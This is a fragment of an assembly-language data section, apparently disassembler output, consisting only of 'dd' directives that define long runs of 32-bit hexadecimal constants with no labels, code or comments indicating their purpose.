		dd 0B8D3A06h, 312C9A12h, 71485DDh, 0D034DECh, 1AD59EEh
		dd 9FC0D0AAh, 0C60B053Dh, 807B6742h, 3FC135CCh,	0E93A0972h
		dd 0C9D1C26Ah, 0DCB1B942h, 27DC31CEh, 54E993E8h, 4A8ACAABh
		dd 0F7EAAE93h, 44915C09h, 0C661AA53h, 0FE0243B5h, 0BC41D890h
		dd 90B90082h, 16B2D06h,	4985E581h, 0DAD168F1h, 9BBC188h
		dd 484D042h, 7DDDAA11h,	0F25247EDh, 9FF98629h, 30C7A0D5h
		dd 314A3D38h, 0D2BC91D0h, 0F48CEBB1h, 59B94251h, 1BE64E10h
		dd 0D80E0B14h, 2A0FB592h, 0C0789BA4h, 0F9C68091h, 465A32Ch
		dd 1FBCF402h, 0E0E6F574h, 0C0C0B767h, 6BBF57ECh, 3148A36Fh
		dd 7B0137A9h, 5B33F760h, 183B60CAh, 78D24636h, 2D9C3C98h
		dd 63AB5212h, 7DF1FA5Ah, 0D22939D3h, 0D6F520ABh, 600DE145h
		dd 0E1939BE9h, 58C5BBFFh, 0E3103D53h, 7058507Eh, 5918D164h
		dd 0B780BA85h, 0FA504B07h
		dd 88984E6Fh, 0F9975998h, 0ABE5674Ah, 60273F73h, 0D7DB510Ah
		dd 0BF5EC56h, 20F1230h,	55C6E230h, 0BFF48F6Ch, 0F48ED95Fh
		dd 90F27573h, 0A23EF1ECh, 0F3C91867h, 139DEE31h, 0FE7D1C60h
		dd 0C6E94C30h, 0C397C225h, 86E0FA24h, 2981133Ch, 7B5EFD6Ah
		dd 9AB27F25h, 8AB25418h, 260D663h, 64B48D3Fh, 55B8615Fh
		dd 6A93FDh, 756FBBA4h, 0C4BF6C42h, 0DFFE9FEBh, 5632C312h
		dd 4196FD94h, 0F2BABC2Ah, 0C1C97590h, 1D8C00ADh, 0C70A6E7Dh
		dd 0D444970Ch, 0FE8FC04Bh, 434A1457h, 0D8997DACh, 0BAC613FDh
		dd 0B5BF5076h, 871AC753h, 2D4EC46Bh, 0FA793B42h, 0E13CFB68h
		dd 409668C9h, 7A46692Fh, 4B2D6761h, 9BECC7Bh, 0ECC4A04h
		dd 9647401h, 3E025E0Ch,	4CAFCE82h, 13D38E04h, 0BC375BEh
		dd 185FE2BAh, 80FE14BCh, 5D129B2Dh, 530A6366h, 0E9050705h
		dd 0C8562C40h, 8B876E12h, 0DDC616B2h, 317C6EC6h, 8A763095h
		dd 9666B716h, 32D25130h, 274DB0B8h, 0A5D428BAh,	1887521Dh
		dd 5E2CFC1Eh, 92E91801h, 59C87566h, 9726719Fh, 39270529h
		dd 3030AAD0h, 2701DFCFh, 0E2601718h, 0FC0BD412h, 0F45FF889h
		dd 754243Dh, 226523B8h,	0CEAEB6E9h, 9D959EAFh, 53314A50h
		dd 0D62A95DDh, 6868A860h, 0F9065336h, 5A585418h, 62285D3Eh
		dd 0C7AE63Dh, 74486325h, 95E10145h, 3F73C44Bh, 0EC015DF0h
		dd 0E9D9C470h, 2916AEDFh, 2FB299FBh, 0F4E4EDB9h, 0FE40FF14h
		dd 9097925Bh, 6992204Ah, 0B8685A1Ch, 25E3E6AFh,	0F4D015B1h
		dd 3AB45000h, 8658E620h, 325ABDDEh, 66EE8007h, 0D696CEFEh
		dd 930700Eh, 0E799E9F1h, 15C37692h, 0DCF6EF84h,	0F25EF317h
		dd 0D1ABD365h, 6BB8E72Fh, 48DAE3B2h, 69CCF37Fh,	7C25C46Ch
		dd 5F3EB2F1h, 0FE5FF596h, 0C2B4C6B8h, 48574CCBh, 0C92ACCEFh
		dd 0E625340Bh, 5A8BBB54h, 66F71469h, 8DF2A0D7h,	62459736h
		dd 7453BA01h, 1B7E4503h, 36A01217h, 0E9396D32h,	1345DA3Ah
		dd 80209F38h, 284CF8DDh, 39A42910h, 2093FA2Dh, 5520A28h
		dd 15363107h, 0C4BE0418h, 0E4AC15Dh, 96BDBFC5h,	30ABC7A8h
		dd 3F5BB052h, 535D277Dh, 0F4800EBAh, 0CEC6D33h,	4E2085CCh
		dd 385AFCE2h, 37AE4B99h, 286B120Ch, 0CAC2BB41h,	211E9079h
		dd 7BB9137Dh, 9941B28Eh, 0E4D39C3Bh, 0E00EEB55h, 2D9C6EF3h
		dd 0F276C583h, 0B5562506h, 3F0CED99h, 598194ACh, 201C4F21h
		dd 0F7804AE3h, 4A4778D7h, 0BF3103DCh, 28861BDh,	0A2F8E7D1h
		dd 0D8A3CF4Eh, 82C49240h, 10E2F2D4h, 0F0E290D7h, 7C20013Bh
		dd 5F70F281h, 0D729EC07h, 6FF18EACh, 6480E880h,	1C2E5C27h
		dd 51777B0Eh, 4FAEE9C4h, 0D41A7A29h, 0E897426Fh, 0B32A595Fh
		dd 4EEA5D24h, 0BF932B7Ch, 0EE7B4CE9h, 0B25195E0h, 25326508h
		dd 0FB0BE1F2h, 8407EDC0h, 80BDCFDFh, 0A1E4BED3h, 1FC80568h
		dd 0AB5F0FF3h, 69226343h, 6B942F87h, 0BBEA34A4h, 0DE88F394h
		dd 0FA43D685h, 51EFE980h, 0D5183CE2h, 2412A5DCh, 0EB2D49CCh
		dd 0B9B006F5h, 39552773h, 7E277C53h, 0F0D2524Fh, 783A46Ah
		dd 7E065000h, 24C5816Fh, 27167320h, 0BEEFE9E1h,	69EB803Fh
		dd 5931DB76h, 0D3F7274Bh, 3559F9F4h, 838566Bh, 5E12E4DEh
		dd 0EA90D3B0h, 1F304D9Ah, 96D15525h, 88F3DC25h,	0D62F870Ah
		dd 3EE0A073h, 4BADA27Ch, 4CD7F789h, 0B6752FCAh,	0DDE927FCh
		dd 94B5AC5h, 1765DF0Ch,	0B1915569h, 7FBC3AD0h, 25B637C4h
		dd 0DA8501BEh, 60183153h, 7727E939h, 278CD154h,	86C60355h
		dd 0CD892DFCh, 38022A7Eh, 0C17A3028h, 0D16CA090h, 0CDB6BBE5h
		dd 0A7DB2C24h, 76E2677Eh, 4CF157E0h, 0A14DA640h, 6930E72Ah
		dd 0EA309F14h, 13C41144h, 99FA5BD9h, 0D8466FEEh, 257D420Fh
		dd 23D6E70Eh, 0AC111451h, 0C18380B5h, 2E4E4A38h, 0B59F9858h
		dd 0B750AE7Ch, 54B89753h, 7D044335h, 50516576h,	66F300BEh
		dd 68570B58h, 0C842D80Bh, 0EF34003Dh, 0F7C424A9h, 970BB122h
		dd 3B8214D0h, 85DA445Eh, 0CB08D09Dh, 68E880Eh, 0A046C56Fh
		dd 0C605ABE1h, 11DE5628h, 2DA5783h, 835FFA39h, 0E684FFEAh
		dd 535B03B6h, 455D9A55h, 0FB52A77Fh, 0EC53EE27h, 1AD12291h
		dd 0BACBF31h, 2827B518h, 22C2EA16h, 0FEB35394h,	2D16CFF1h
		dd 2F5951FBh, 80562953h, 88000712h, 0AE78D5EDh,	0D0297576h
		dd 5A2E0828h, 52A58958h, 1EC8311Eh, 0F0A2AF70h,	9855165Eh
		dd 5137DFEh, 0CCE935DCh, 0D5F08CC9h, 0F4CAA4A9h, 0E7B137Eh
		dd 17CB7330h, 3F3ABDC2h, 0E8A662DBh, 13539310h,	5C88F0ADh
		dd 8887F49Fh, 8809B48Dh, 0C44C04EBh, 48DDE7EAh,	7A1B009Ah
		dd 0E6E97FBDh, 0ADD891B4h, 0A2EC9C7Dh, 16CED6AEh, 9F21259h
		dd 0BA7452B7h, 0EC23E7C0h, 1DBA170Ah, 10E1F854h, 0FC4E6693h
		dd 1F144CA7h, 439F319Eh, 0D3301A89h, 81B582DDh,	0A0C2F580h
		dd 0E739A040h, 0A135E69Dh, 0D2370A60h, 407AF34Fh, 4B0CA1E8h
		dd 964271FCh, 0EA631672h, 517DA86Fh, 169DF8ABh,	8EE97B12h
		dd 9B94CE0h, 14BC474Fh,	0FD4FDFFEh, 0FDF2F01Ah,	0C4D2C493h
		dd 4E100955h, 48FE0171h, 7FE9419Bh, 66DB34C8h, 5AD1211Dh
		dd 0E6697631h, 19F9AC2Fh, 0FD5BD483h, 133B2071h, 0E938FEA4h
		dd 6D7B2F68h, 31F66099h, 0C0C3C68Ah, 67FF098Fh,	0B1E98B72h
		dd 0DE9776F8h, 8BF7E914h, 92DA95h, 46C035B1h, 0E3D1DBF7h
		dd 40EBC127h, 0EC190A22h, 0AB70FB5Dh, 9D957085h, 0F26B827Ch
		dd 0DE45205Fh, 68099890h, 50053778h, 9A73A32Eh,	0A53F5338h
		dd 8155F22h, 981E2905h,	64C5690Bh, 0EEEA8064h, 5973F5Eh
		dd 491B0918h, 3D3FFC2h,	0BC8B41EFh, 2099F463h, 4B0B2F34h
		dd 574F3545h, 0F0D526C2h, 0F13FC0E6h, 0DBE764A0h, 6640DC90h
		dd 0B84E5B68h, 0BA51CCB8h, 9F056063h, 0C3315FF8h, 0A85655F4h
		dd 1AC67067h, 594F1EDh,	0FEE57BBEh, 680AB06h, 1CF98951h
		dd 251CA6E9h, 0F10362C4h, 795E294Ch, 0DE17FA49h, 2FF924ACh
		dd 9398DA6Ch, 0F30F78CBh, 88343D92h, 50E0FEBFh,	2370BF3Fh
		dd 0DC417B90h, 0B843BC6Fh, 1C25BD44h, 7C57A2C1h, 63F22100h
		dd 59CF8927h, 58480B2Dh, 4D5C412Ch, 0AAC0720h, 22B3505Fh
		dd 85BB576h, 0E0C15802h, 0EA026102h, 0C57EFC2Fh, 0C144DF81h
		dd 0A7BE5BDAh, 0DBB000F6h, 68E94F2Fh, 0D8CA97FDh, 7B51E17Dh
		dd 75A1B83Ch, 540A89E5h, 0C4943459h, 144CFCh, 9E5A7DBBh
		dd 9A08F425h, 4FE1FE01h, 0FB67AFB1h, 55FD62B2h,	0E5C221D1h
		dd 95906613h, 28DAAF22h, 835A8561h, 0AE3E0ACCh,	29C9F07Bh
		dd 4C353062h, 2EAAAFA4h, 0D3F1885Eh, 0CB580B6Ch, 7E55C3E0h
		dd 173850Ch, 3DD852FBh,	365E623Eh, 5928E2DBh, 0F216E541h
		dd 5AEED15h, 0B91E3625h, 1010CBB3h, 88B16825h, 0B8F059EFh
		dd 4AC5564Dh, 527C5EEBh, 85D437B1h, 813F9072h, 27F62EEh
		dd 0A8685B0Ah, 0D38B9861h, 0C91E744Eh, 6E0C302h, 142BC00Ch
		dd 835C384Ah, 37090500h, 790DE90Ah, 0DDCF90B7h,	3B909D2Dh
		dd 5A4ABC68h, 5A28C28Ch, 120DF352h, 58E32A46h, 0A9C78100h
		dd 68106F14h, 9F306731h, 287BF589h, 0CF9D5125h,	6352240Fh
		dd 5BDF2AC4h, 0C9E934E0h, 2FA459h, 301115DCh, 0B31A2068h
		dd 0C6EF08ABh, 0DAB0B83Ah, 0CADE38E9h, 408E83FBh, 0DA3B0FADh
		dd 625F429Fh, 50BBD44Bh, 4CB5C629h, 26C680C6h, 544A2578h
		dd 8A0D456h, 14CD0CC7h,	0D75B0B82h, 0C8EFD2C9h,	98A3579h
		dd 50677507h, 0DF9AE909h, 164ABA43h, 0F75FB9CAh, 33E98690h
		dd 0F5B800FBh, 354B4D75h
		dd 0E4266707h, 583140Ah, 0D2C0B2h, 0BB58C252h, 284D273Ah
		dd 372B5548h, 0EB5EFD45h, 0BD7AA019h, 7F3B0Ah, 5DEF0971h
		dd 0E95F5157h, 0F3D72E2Ah, 2F30817Ch, 7CC70A1Eh, 3FD0B006h
		dd 585D5FFEh, 0B524C758h, 4DF1C236h, 190552Bh, 6BB592B8h
		dd 86C6B954h, 3EDFFC2h,	55846805h, 29828F37h, 0D72AAB16h
		dd 6AE4E7B9h, 7A0026F3h, 81783A55h, 6A07EF7h, 4A17FFC3h
		dd 9FFD7D7Ch, 0CA260841h, 0FDA92751h, 0AF7588E1h, 0FE5B660Ch
		dd 0A89FF4F2h, 9F381E8h, 987D9111h, 83896D62h, 0FCA059DEh
		dd 0F605D640h, 42DA3F28h, 3506E880h, 2B2FD1Dh, 2F755EBDh
		dd 4A4C2EC2h, 95EF4B7h,	9946033Dh, 906AB024h, 51F3FAC2h
		dd 93D42DA1h, 5DEAF051h, 0EEE02322h, 2255122h, 66FD37E9h
		dd 36549FDBh, 10741443h, 50B33F25h, 0D35A7346h,	0AFDB75ABh
		dd 24C97A3h, 8A023A04h,	5AB1BA19h, 0B8440804h, 9E1BDE9h
		dd 8412A07Fh, 45EF1C4Eh, 5C38320h, 0E3B2C0C7h, 613E253Ah
		dd 11883103h, 2C00CF11h, 686104CDh, 8F6353BBh, 0DC3B814Eh
		dd 0CBAB30B3h, 8850591Eh, 58E20539h, 91C4805Bh,	6CCCD382h
		dd 0F654F06Ch, 0EAEF60C7h, 281A6852h, 4881C3A6h, 58BF785Dh
		dd 10D63CFEh, 0C55E7923h, 95DAFE74h, 0BD550C60h, 860C7AA2h
		dd 0BA0BE3Ch, 0D1644FE9h, 3FAE3879h, 512512E7h,	0D450B6FCh
		dd 687AA831h, 434D633Ah, 0A002615h, 0EBB8505Dh,	98341D02h
		dd 289616C5h, 82E0B99h,	4D7D0E2Bh, 0BAB93407h, 0EED279F2h
		dd 27C53E08h, 0DDCE235Fh, 97B40EBh, 307E40BEh, 31EEC35Eh
		dd 0ADC472h, 14EDBE56h,	0CA06357Ch, 3CAEEC2Ah, 818EE6C1h
		dd 63076DF6h, 62CE602Fh, 22163C3Bh, 0B8A184E9h,	5014C32Eh
		dd 505761C9h, 0E4C05BE8h, 0C480080Eh, 14FC14A6h, 4FDD2F6h
		dd 1DB9E92Bh, 4EFD33E4h, 18C7B4BAh, 0DA1668D9h,	0B2774DA7h
		dd 0FCD8D7DCh, 8EFC3148h, 7CCFC7F4h, 4E8DCE2h, 27C0855Fh
		dd 0BDBC417h, 0DE67D758h, 42AFF62Dh, 0D00A53A5h, 9702F02Dh
		dd 0D7EBF3FBh, 0D9D7F562h, 541265D3h, 0B7818CB2h, 0D6F780ECh
		dd 288D777Ch, 94234CFh,	0DBF0012h, 162F9B03h, 0EAE06031h
		dd 2A7A3B2Eh, 411DB94Eh, 10297E08h, 5050022Ah, 2AC1585Eh
		dd 54322AC3h, 80456862h, 284C16F6h, 7FC4CDF0h, 0F8E5E7E0h
		dd 5020EDD0h, 0E4E3F7E8h, 0BA9AEBE0h, 6CF54857h, 3C318904h
		dd 72C8EB75h, 0D529245Eh, 34BD0274h, 0E3552EE1h, 53C08C28h
		dd 0B941A1h, 54CF812Ah,	4F451C31h, 280E76B0h, 0E569363Bh
		dd 66E0D7E9h, 5E2FEC47h, 822443CFh, 0B0DCC21Dh,	7901EAA9h
		dd 0E9B83DE2h, 0D17F1850h, 407F0Ah, 26C1D5F7h, 8203EDh
		dd 8E756E0Ch, 0C1976DE9h, 2A7F5387h, 7C99441Fh,	58D18A40h
		dd 0AE0260EBh, 4B531455h, 0AF20CA7Ch, 7097F497h, 0A39FBDC0h
		dd 1F853F53h, 93ADB6CDh, 400532Ah, 0BBE30D4h, 8AAFAE66h
		dd 0DA190431h, 652D306h, 21DF04FBh, 68FCD7F7h, 0AE1F4B42h
		dd 0D10C0C5Eh, 823C1014h, 0FFAF6677h, 62160762h, 8B29FCC7h
		dd 6027DE73h, 56C35347h, 3CDEE3B5h, 0BB820706h,	263675DBh
		dd 1D01B176h, 34E90C2Bh, 90DDE1A5h, 86220A88h, 0F64EB225h
		dd 74760E8h, 68691C26h,	7958E48Ch, 59E7F56h, 6AE920B8h
		dd 9EEF5FA3h, 0AEBB09CDh, 202D79D2h, 246D66F9h,	0A7F5F51Bh
		dd 9B174C5Ah, 0B0A0DF36h, 27D0FC1h, 0F1A031BFh,	0AA546034h
		dd 0F60B1090h, 4A72E342h, 700809C2h, 330222C3h,	0E8D2B029h
		dd 2DE44208h, 0F389865Eh, 355A72A5h, 81EBB8EBh,	7E456803h
		dd 4BBDECD8h, 8B19D03Ah, 7F7B1116h, 37842135h, 0AEB416ACh
		dd 0E98222A3h, 3A757544h, 79B0FF7Ah, 0F63A72E9h, 39967AD1h
		dd 4952712Fh, 6E5518A9h, 0C96F2D82h, 0F27332D6h, 5ECEA94Ch
		dd 39742F54h, 83885E80h, 0AEDA0957h, 165F901Bh,	0FC750FF1h
		dd 630D0492h, 9803E79h,	58827B9Ah, 6C0F8805h, 23F59288h
		dd 0CFF2D14Bh, 8559571Ah, 68AF427Bh, 0B4B0019Ch, 28814FB5h
		dd 900C9121h, 625CFC02h, 0F8881CF4h, 4BE60F55h,	9D7270E8h
		dd 0E07AAFB2h, 298B6804h, 3582264Fh, 0C343CA6Bh, 8AE8DD47h
		dd 50C3FC10h, 0DAB8C640h, 27A9574Ah, 3037C6D7h,	6EDC01Dh
		dd 2451F58Fh, 17EA0DC5h, 3F15EDCCh, 3E4F785Fh, 76664049h
		dd 0F9712FFFh, 0D14FDCBh, 493C1124h, 0D0C07749h, 0A85D6855h
		dd 2087484Fh, 0F5BB0533h, 0FA0C4C0Bh, 4252430Bh, 3F9EFD15h
		dd 0ACF8F74Ah, 0BE26F913h, 0F47CA871h, 7EAAF307h, 0A6F3BA84h
		dd 7A16BFD6h, 519E0EFAh, 8014E5CFh, 55A581Eh, 0E316A768h
		dd 0DD727F63h, 1BB5EC50h, 6CB20F5Bh, 49C5FE2Eh,	875D02F5h
		dd 54D175C8h, 2B382B0Eh, 3845437h, 4E027154h, 31DE07FDh
		dd 9A894FCEh, 3F8B5DE8h, 5452A926h, 43260848h, 0A00FB702h
		dd 0BE685D10h, 97095F58h, 0F4EAC14Ah, 38CD0025h, 0F7E93A1Eh
		dd 562C0495h, 8DA4B6FEh, 373BE15Ch, 9669426h, 0F1240B5Eh
		dd 243464FEh, 0D5D943C2h, 0B741AE3Ah, 0D6CF74D7h, 7B957CC1h
		dd 0C6825C50h, 0D7D16BC9h, 7E6B0BFFh, 0E9093EC4h, 0A472E269h
		dd 0CD1DCE0Ah, 0E958DC6Ah, 0D5135F09h, 0D4B29182h, 3BF217FDh
		dd 82BA5422h, 59D92505h, 2C10CBDBh, 2C1D6610h, 2773C05Ch
		dd 0DB8BF94Ah, 5FCD3CDFh, 1C3DB25Ch, 694F1BC4h,	0C2F04950h
		dd 1E0982CAh, 25B07788h, 7E592568h, 6C59A2FFh, 455BE88h
		dd 0EE239443h, 94D76FB0h, 0DEC62594h, 135C3EF6h, 47D18159h
		dd 0F2103795h, 60ED6E21h, 68E520F8h, 0E190DE4Fh, 68D6B14Ah
		dd 1FF38070h, 0BF1E360Dh, 4E6070E2h, 882F9A74h,	8B6009ADh
		dd 77C6EA72h, 282DB941h, 718825CBh, 0A0E961A6h,	89AC6FDCh
		dd 2D56FBD8h, 7F79612Dh, 572CC985h, 569E80Ah, 0F43DD3FDh
		dd 7E13E6C0h, 2AC2B73Fh, 0E6C1EE30h, 7C570825h,	8AAD001Fh
		dd 662CE9F8h, 27BC5D99h, 0BD695819h, 14EA24FBh,	3EBB88h
		dd 8674F380h, 0D569F6EBh, 533A0508h, 132EFBC3h,	1E2BC323h
		dd 3B5E89A3h, 7D205AC6h, 0F0293FB0h, 8C574BF6h,	485E206Fh
		dd 33FF3931h, 0E982E939h, 0E4AABD8h, 0E72508C4h, 2ABA45AFh
		dd 0B66725CBh, 90BF806Eh, 16CCB975h, 1032B666h,	507E3CBh
		dd 72CA025Fh, 0E8DEB4AEh, 7145B840h, 0D780E16h,	61A21031h
		dd 2F60D8F7h, 7302242Dh, 0E0C11702h, 3DCD8006h,	50ACADFBh
		dd 5972BD31h, 0F70469B8h, 0E8FA295Eh, 5052A0F1h, 69BE09B8h
		dd 5C015897h, 3CC959E6h, 2FC62692h, 600982A8h, 7D364742h
		dd 6C56AE09h, 0B2E264C7h, 95507F69h, 759085Ch, 0E745A36Eh
		dd 0F4B0D1B5h, 0CCA61466h, 1305FCEEh, 0D2580E3Bh, 880EDBCh
		dd 0EA895259h, 5D1A6696h, 0E7DD40ECh, 4B621D4Fh, 0ED219268h
		dd 14854BDBh, 3F658DBEh, 12ECA764h, 44CA2338h, 504EF575h
		dd 745327F1h, 8AFAC258h, 24594D1h, 5CB01CF9h, 5BBC6CE9h
		dd 5E685B06h, 960DF663h, 0ADB8134Fh, 9134CD3h, 0F206C03h
		dd 0D13E7EDAh, 0FB860708h, 0BFD9DE04h, 2F7C44F7h, 25BA2722h
		dd 823E7B84h, 0EEE62C1Ch, 7AD2312Fh, 519409EBh,	89CB3206h
		dd 7A22F2B4h, 58D0189Fh, 30E54F68h, 5FE4E96Ch, 41C1383h
		dd 0C433AC71h, 49EFC492h, 16D5754Eh, 5C71B77Fh,	3167D2F2h
		dd 99F3515Eh, 140500F3h, 108E282Dh, 745EBE9h, 546303BAh
		dd 29F1FF58h, 1895E3C6h, 24B0B408h, 21104DDCh, 43135E58h
		dd 16DCFA65h, 30E05B4Fh, 8A7F2B6Bh, 47682200h, 0E91FEB4Bh
		dd 2000BDF0h, 9510E7BEh
		dd 0BBC6248h, 50F4E77h,	0D6A9B6A3h, 3E5CED02h, 28772502h
		dd 0D62E08C8h, 0CB2EF769h, 0BA4A9361h, 0CCCD70E1h, 0E3203081h
		dd 4358B56Eh, 6BF37195h, 0B72283A2h, 6AD7F8C9h,	0D9C4EBECh
		dd 5EF5E95Dh, 2A8BA2D5h, 0A4BCE909h, 96A85E7Eh,	0EB75F375h
		dd 0A1315A7Eh, 555E1CF8h, 0B7C477DCh, 0A24F71F1h, 575E5B68h
		dd 0DB9FAC65h, 60C1D4EDh, 1F7B3247h, 7E985D4Ah,	90E91750h
		dd 0CBF0D4B5h, 0AF513F61h, 20B6707Ch, 7F908ACCh, 0C52866C4h
		dd 1373EB47h, 6AF7670Eh, 1CB05AFh, 23468764h, 0FB850B8Fh
		dd 36F41199h, 0E33FC08Ch, 5DBB7A5Ch, 5E5A2D83h,	33F1FDE2h
		dd 582DDE4Bh, 0C692ACE9h, 40E1D12Dh, 267D3360h,	386427F6h
		dd 0E0B81B04h, 0CB1FB001h, 0AD708BE8h, 0EB35F69Fh, 84223602h
		dd 259EE75Fh, 0E9059E7Eh, 70D92D9Bh, 0A45FED41h, 0A589A83Fh
		dd 0FCCE88AEh, 0EA1C16B9h, 595AD784h, 419DB3B4h, 54852E05h
		dd 0AF6253EEh, 0D6906F1Eh, 0CE31582Dh, 59422454h, 880974BDh
		dd 0DE27A391h, 0F5A6EF93h, 595BF3EAh, 9F8B25F9h, 0BD0EA678h
		dd 32625EC3h, 2F048CEBh, 495D5B59h, 2EE40570h, 54C21688h
		dd 5A0785EEh, 0D157A0BBh, 0A0F9DB0Fh, 1AE92501h, 9F008B56h
		dd 9A13B5EBh, 95C3FC74h, 6B4B50F8h, 47C5A1E8h, 0FE1A2E5h
		dd 0C91CA9BAh, 0BEDB8F36h, 0D006358Bh, 99C4C0F6h, 29444273h
		dd 685113C0h, 6A984CEAh, 1034C171h, 61B444D4h, 6844D54Fh
		dd 5409818Dh, 84D8E5DDh, 0E883BAE9h, 7556CB3Bh,	422518E6h
		dd 233ADFBCh, 0CA424FF4h, 825104A2h, 0C8DE1DCAh, 5F178D43h
		dd 4BDCA80Fh, 9F5EDFA4h, 0DB089FF3h, 0E7696E22h, 1F1690F0h
		dd 0F10C6937h, 90010DD6h, 0D3B2AC1Dh, 0BC71FB91h, 243F09AFh
		dd 0BF85EBDEh, 58DD2ABAh, 0E7B94AD5h, 6E270DD4h, 0A6B30E98h
		dd 7D5B5782h, 950CD288h, 0B8008A40h, 2D7B6E37h,	0BD339BEh
		dd 1AB2812h, 0DC1FD591h, 21A210Dh, 0CF76D3EDh, 0FBA9D52Dh
		dd 481EB0DCh, 0FE52D74Bh, 1B5C407Bh, 0BE766F38h, 0EB5F6A79h
		dd 0A902DBF0h, 0D86E5AA5h, 0BC5FBD90h, 0C8857DA9h, 96BB8D1Eh
		dd 5EB462E8h, 53C7EEC5h, 2E7FCA26h, 0BC45306Bh,	598F4FBCh
		dd 52A277FFh, 144B478Fh, 77F0335Bh, 68602C06h, 4AE6107Fh
		dd 61533682h, 15A779C7h, 24A243C1h, 1100BF51h, 0B958B341h
		dd 0E5255293h, 626FAC7Bh, 0F7CD3106h, 2E4154E3h, 2418DDEBh
		dd 97386875h, 3EBF5A4Ch, 0A1D866A2h, 5FFB2F8Dh,	0F11A937Fh
		dd 0B37AA5BEh, 894927C3h, 1AE67F62h, 27AD6813h,	0F14B4BDBh
		dd 72E92AE9h, 0FAABDFCEh, 2989B9C5h, 0B4E5157h,	0F0562165h
		dd 0EA7B054Fh, 0F5C6AB90h, 5AF32C08h, 28C706B1h, 292722D8h
		dd 79A71A93h, 12C448CEh, 0E9DFE49h, 89887D3Fh, 2B7768BAh
		dd 25EE7E8Ah, 0E8E6AEA2h, 556AB302h, 16CB6440h,	8200E3E6h
		dd 2CADB050h, 0C5C308D0h, 20C1F12Eh, 0D74D34CEh, 700C2E61h
		dd 1C8CD56h, 7883B8CBh,	17E62E05h, 8A80B943h, 0E9BED4FFh
		dd 0D482C941h, 44220219h, 0E3873019h, 0D0F7F5C3h, 263B6878h
		dd 246AAB3Dh, 0B59ECCA4h, 21CD8087h, 753CA7A2h,	0BD3BF3EEh
		dd 50731267h, 23AE41EFh, 31701B32h, 0BE0605A3h,	1D2D4660h
		dd 1C42012Ch, 18EB0535h, 0DD08523h, 21D22E7Eh, 61E8E2ECh
		dd 53E24AFh, 0BBD8292Eh, 9C027BCBh, 296A8474h, 32C2BA71h
		dd 0C42676D7h, 83C3E078h, 4B01EB18h, 2EE8577Ch,	14F8C099h
		dd 5AC0F67Eh, 126D6850h, 7EAFADB9h, 44815888h, 0F6F9309Fh
		dd 0EFE883EBh, 0A11B0A78h, 0A80E470Ch, 5ADDC29Bh, 928EF929h
		dd 7A354E9h, 977058E9h,	72EB5F10h, 768301BCh, 0A138017h
		dd 0C32152B7h, 0C404C6DBh, 1896E20Fh, 0C7176DD5h, 7C9A1EBAh
		dd 0AB19C8CAh, 962CAE24h, 945FE600h, 4EEDC15Bh,	81F4E405h
		dd 9526D2EEh, 2E17340Dh, 885B0AC2h, 5C283195h, 4F336935h
		dd 0B34AA0AFh, 3B357B16h, 2BB2E187h, 91027553h,	79F7D743h
		dd 0BF549768h, 78A43532h, 4B229033h, 33763717h,	4E56B57h
		dd 0EBFDBA78h, 2E634361h, 0DD541952h, 0C45F973h, 0ED46E0D7h
		dd 68AD0A18h, 929B2FC3h, 0DFA9B8E8h, 0D226294Bh, 0D375205Ah
		dd 3086AB5h, 0E9FE8985h, 0A569F173h, 3B4FAA0Eh,	537D0950h
		dd 0A3E875A6h, 0CB2A68C6h, 0E91A316Dh, 82F90F46h, 744E65DCh
		dd 1CF9C705h, 0F297EF5Dh, 0DD45BD61h, 2B1685ACh, 4BF224CCh
		dd 806C75BCh, 475B7E27h, 0AB5C3466h, 38CD5033h,	0F1BA44B8h
		dd 7C76F20Fh, 0C04E6902h, 0F0E8C119h, 196B0F05h, 39A92A84h
		dd 0F6037978h, 0B55166D6h, 0C4F5D96Fh, 0A77B9265h, 13F60077h
		dd 0E940305Ah, 26C84951h, 9F18EE42h, 1F26CF0Ah,	52652B2Eh
		dd 69536C80h, 0F505E973h, 4105DD2Bh, 2AACF020h,	6D8995ECh
		dd 0DCB5ECF0h, 0BCDDCB60h, 48E91825h, 8B90A98h,	627A0916h
		dd 2F121B4h, 456526A4h,	3CC8D8E9h, 5C166BBBh, 0DDA85928h
		dd 24F0E50h, 0C1713164h, 0DC8305E7h, 0F52845h, 7A1EEAAAh
		dd 4ABD2607h, 5F080058h, 0D89DAAE9h, 74430C56h,	0D464EBB5h
		dd 38765E09h, 0CD282C53h, 716B4263h, 54EBD3D4h,	5AEB2CB5h
		dd 55129744h, 0EDA0E7E9h, 15170BB9h, 677133Bh, 13D052E6h
		dd 0B9D63B6h, 6B270E51h, 5566F081h, 48B5150Fh, 9D3F8F0h
		dd 4AE98B14h, 0A8597124h, 0D9AAF4B1h, 78B6F019h, 2751F25h
		dd 1107996h, 0E03EB753h, 37C0D40Ah, 0B486B652h,	9E87F679h
		dd 0E12809B4h, 0BDAF4682h, 3EC3F89Bh, 0D974740h, 29933117h
		dd 8E950EAh, 2D0E0C60h,	28C05741h, 3CF41F77h, 0E4E92759h
		dd 5C2FB474h, 8855C4F9h, 0ABA81C55h, 0D3059BFh,	97CFEEE7h
		dd 0B02FE418h, 5006EECFh, 4DA89CB8h, 2676ED9Dh,	422911CDh
		dd 8A66A0E3h, 0B4685912h, 0A22235FAh, 0A6D5C67Dh, 0F4958332h
		dd 7ED6F2FEh, 0F58DDE30h, 242812EAh, 0C0C1A7Fh,	0F719B4FAh
		dd 7CC5529Fh, 0B57F275Ah, 0A2EF35A0h, 0E14BE52h, 873DF701h
		dd 212995E9h, 9C3DD68Ah, 76B5C16Fh, 3120309Eh, 0E7F2DB0h
		dd 0EA135197h, 552C0010h, 2E2DA76Ah, 72131C01h,	6D11A905h
		dd 0F9D8ED60h, 11CA0747h, 0CFA65B19h, 2E680864h, 0CE0D7A64h
		dd 474D4162h, 0C135EA57h, 0D284ABA5h, 0BC58E388h, 30A709B9h
		dd 3515BD3h, 0D4F6E386h, 0B03A0858h, 30E947B1h,	0C1D3A460h
		dd 0D020588h, 29BB533Eh, 0DD0E620Ah, 0E1E0048Fh, 725D457Bh
		dd 0CD132AC0h, 25E9F198h, 0C9C922A3h, 6110A558h, 0FD7E530Fh
		dd 3A28E5FBh, 0B3E54A89h, 33680A30h, 5A8CCE1Eh,	0A2C2674Ch
		dd 0B011F5FCh, 38D5FAF9h, 9F7DCEC3h, 4B001B46h,	2D25FB1Dh
		dd 522FC0h, 73060543h, 0E82963D6h, 0CA0747F9h, 4DF32711h
		dd 0F40B2024h, 1C2F724Fh, 31AF93E7h, 6B50A118h,	452BCD28h
		dd 6E63D954h, 0D2E1A840h, 0C1461208h, 0C842C00Ch, 97206E1Eh
